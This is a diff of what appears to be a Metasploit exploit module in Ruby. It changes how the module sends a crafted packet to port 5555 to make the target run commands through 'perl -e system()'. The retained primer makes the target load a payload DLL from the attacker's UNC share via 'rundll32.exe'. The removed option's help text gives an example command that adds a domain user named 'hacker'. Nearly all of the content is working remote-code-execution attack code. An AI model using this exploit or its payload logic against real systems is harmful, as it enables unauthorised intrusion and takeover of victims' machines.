@@ -45,7 +45,6 @@ def initialize(info={})
45
45
register_options (
46
46
[
47
47
Opt ::RPORT ( 5555 ) ,
48
- OptString . new ( 'CMD' , [ false , 'The command to run e.g. net user hacker hacker123 /add /domain' ] ) ,
49
48
OptString . new ( 'FILE_NAME' , [ false , 'DLL File name to share' , 'exploit.dll' ] )
50
49
] , self . class )
51
50
@@ -92,52 +91,29 @@ def get_fingerprint
92
91
end
93
92
94
93
def exec_bar ( cmd )
95
- connect
96
- cmd = cmd . gsub ( "\\ " , "\\ \\ \\ \\ " )
97
- vprint_status ( "Sending Command: #{ cmd } " )
94
+ cmd . gsub! ( "\\ " , "\\ \\ \\ \\ " )
95
+
98
96
cmd_no = target [ 'Offset' ] + cmd . length
99
- vprint_status ( "Size is #{ cmd_no } " )
97
+
100
98
pkt = "\x00 \x00 \x00 "
101
99
pkt << cmd_no
102
100
pkt << "\x32 \x00 \x01 \x01 \x01 \x01 \x01 \x01 \x00 \x01 \x00 \x01 "
103
101
pkt << "\x00 \x01 \x00 \x01 \x01 \x00 \x20 \x32 \x38 \x00 \x5c \x70 "
104
102
pkt << "\x65 \x72 \x6c \x2e \x65 \x78 \x65 \x00 \x20 \x2d \x65 \x73 \x79 \x73 \x74 \x65 \x6d " # perl -e system('cmd')
105
103
pkt << "('#{ cmd } ')" # Executable
106
104
pkt << "\x00 "
107
- sock . put ( pkt )
108
- # In my testing the default timeout (10) isn't enough
109
- if datastore [ 'CMD' ]
110
- begin
111
- res = sock . get_once ( -1 , 20 )
112
- rescue EOFError # happens when using the Powershell method
113
- disconnect
114
- return
115
- end
116
- fail_with ( Failure ::Unknown , "#{ peer } - Expected answer not received... aborting..." ) unless exec_bar? ( res )
117
- disconnect
118
- else
119
- handler
120
- disconnect
121
- end
122
- end
123
105
124
- def exec_bar? ( data )
125
- return false if data . blank?
126
- data_unpacked = data . unpack ( "NnVv" )
127
- data_unpacked . length == 4 && data_unpacked [ 0 ] == 16 && data_unpacked [ 1 ] == 0xfffe && data_unpacked [ 2 ] == 0x39 && data_unpacked [ 3 ] == 0x20
106
+ connect
107
+ sock . put ( pkt )
108
+ disconnect
128
109
end
129
110
130
111
def primer
131
- if datastore [ 'CMD' ]
132
- print_status ( "Executing command #{ datastore [ 'CMD' ] } " )
133
- exec_bar ( datastore [ 'CMD' ] )
134
- else
135
- self . file_contents = generate_payload_dll
136
- print_status ( "File available on #{ unc } ..." )
137
- print_status ( "Sending load DLL to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } - #{ unc } " )
138
- sploit = "rundll32.exe #{ unc } ,"
139
- sploit << rand_text_numeric ( 1 )
140
- exec_bar ( sploit )
141
- end
112
+ self . file_contents = generate_payload_dll
113
+ print_status ( "File available on #{ unc } ..." )
114
+
115
+ print_status ( "#{ peer } - Trying to execute remote DLL..." )
116
+ sploit = "rundll32.exe #{ unc } ,#{ rand_text_numeric ( 1 ) } "
117
+ exec_bar ( sploit )
142
118
end
143
119
end
0 commit comments